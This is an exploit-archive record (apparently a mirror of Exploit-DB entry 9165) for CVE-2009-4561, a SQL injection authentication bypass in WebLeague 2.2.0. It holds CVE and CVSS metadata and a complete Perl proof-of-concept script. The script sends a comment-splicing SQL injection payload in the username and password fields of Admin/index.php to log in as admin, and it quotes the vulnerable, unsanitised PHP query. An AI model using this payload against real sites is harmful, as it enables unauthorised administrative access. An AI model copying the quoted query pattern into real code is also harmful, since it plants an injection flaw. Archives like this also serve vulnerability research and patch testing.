{"exploit":{"id":"EDB-9165","name":"webLeague 2.2.0 - Authentication Bypass","description":"webLeague 2.2.0 - Authentication Bypass","cves":["CVE-2009-4561"],"author":"ka0x","published":"2009-07-16","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9165","path":"exploits/php/webapps/9165.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9165.pl","vulnerabilities":[{"id":"CVE-2009-4561","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in Admin/index.php in WebLeague 2.2.0, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) username and (2) password parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4561","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4561"},"updatedAt":"2024-08-07T07:08:37.983Z","retrievedAt":"2026-11-27T03:07:35.235Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9165.png?v=2","url":"https://exploitbin.com/exploits/EDB-9165","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9165/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9165/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -W\n#\n# WebLeague 2.2.0 Remote Admin Bypass p0c\n# written by ka0x <ka0x01[at]gmail.com>\n#\n# need magic_quotes_gpc = Off\n#\n# Vuln code (Admin/index.php) :\n#\n# 10:\t$sql=\"SELECT * FROM $admintable WHERE name = '$_POST[username]' AND password = '$_POST[password]'\"; // ---> NOT CLEAN $_POST VARS\n# 11:\t$result=mysql_query($sql,$db);\n# 12:\t$number = mysql_num_rows($result);\n# 13:\tif ($number == \"1\") {\n#\n\nuse LWP::UserAgent ;\n\nmy $timeout = 10 ;\n\ndie \"* USAGE: \\tperl $0 <host>\\n\" unless $ARGV[0] ;\n\nmy $host = $ARGV[0] ;\n\n$host = 'http://'.$host if( $host !~ /^http:/ ) ;\n$host = $host.'/' unless( substr( $host, -1 ) eq '/' ) ;\n\nmy $ua = LWP::UserAgent->new() or die;\n$ua->agent(\"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1\") ;\n$ua->timeout( $timeout ) ;\n\nmy $req = HTTP::Request->new( POST => $host.'Admin/index.php' );\n$req->content_type( 'application/x-www-form-urlencoded' ) ;\n$req->content( 'username=\\'/*&password=*/ or \\'\\'=\\'' ) ; \t# content $_POST vars:\n\t\t\t\t\t\t\t\t# username=  '/*\n\t\t\t\t\t\t\t\t# password=   */ or ''='\nmy $res = $ua->request( $req ) ;\n\nif( $res->content =~ /You are logged in as/i ){\n\tprint \"[+] The website is vulnerable.\" ;\n}\nelse {\n\tprint \"[-] The website isn't vulnerable.\" ;\n}\n\n\n__END__\n\n# milw0rm.com [2009-07-16]","sha256":"8d2029b996ae6e552a186014e77a7e181368c1f36256da99011be17b3363e7e7","bytes":1290,"fetchedAt":"2026-11-27T03:07:33.447Z","encoding":"utf-8 (display only; download retains original bytes)"}